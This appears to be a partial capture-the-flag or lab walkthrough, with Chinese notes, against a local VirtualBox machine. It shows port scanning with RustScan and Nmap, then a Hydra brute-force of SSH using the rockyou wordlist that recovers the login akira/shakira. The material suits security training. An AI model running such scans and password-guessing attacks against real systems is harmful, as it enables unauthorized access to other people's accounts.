Kal ddddx ~ ❯ export ip=192.168.108.137 at 14:10:09 Kal ddddx ~ ❯ rustscan -a $ip at 14:10:17 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/home/ddddx/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.108.137:22 Open 192.168.108.137:80 Open 192.168.108.137:8080 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 14:10 CST Initiating ARP Ping Scan at 14:10 Scanning 192.168.108.137 [1 port] Completed ARP Ping Scan at 14:10, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:10 Completed Parallel DNS resolution of 1 host. at 14:10, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:10 Scanning 192.168.108.137 [3 ports] Discovered open port 80/tcp on 192.168.108.137 Discovered open port 8080/tcp on 192.168.108.137 Discovered open port 22/tcp on 192.168.108.137 Completed SYN Stealth Scan at 14:10, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.108.137 Host is up, received arp-response (0.00089s latency). Scanned at 2025-06-09 14:10:25 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8080/tcp open http-proxy syn-ack ttl 64 MAC Address: 08:00:27:87:FB:37 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
端口号
协议
服务
描述
22
TCP
SSH
远程登录服务，可能存在弱口令或爆破风险
80
TCP
HTTP
Web 服务，常见漏洞包括 XSS、SQL 注入、目录遍历等
8080
TCP
HTTP-Proxy
可能是另一个 Web 应用或反向代理，也值得重点关注
开放了22，80和8080端口，尝试访问一下,80和8080都为apache的默认页面，尝试一下目录爆破,发现也是一样的所以它们可能是同一个 Web 服务的不同监听端口
Kal ddddx ~ ❯ ssh root@192.168.108.137 ✘ 255 at 14:22:55 The authenticity of host '192.168.108.137 (192.168.108.137)' can't be established. ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dOR4+6rQZf20TIk/U. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.108.137' (ED25519) to the list of known hosts. root@192.168.108.137: Permission denied (publickey).
Kal ddddx ~ ❯ hydra -I -l akira -P /usr/share/wordlists/rockyou.txt ssh://192.168.108.137 -t 64 -f took 48s at 15:01:49 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-09 15:01:52 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task [DATA] attacking ssh://192.168.108.137:22/
[22][ssh] host: 192.168.108.137 login: akira password: shakira [STATUS] attack finished for 192.168.108.137 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-09 15:02:43
1 2
akira@denied:~$ sudo -l -bash: sudo: orden no encontrada
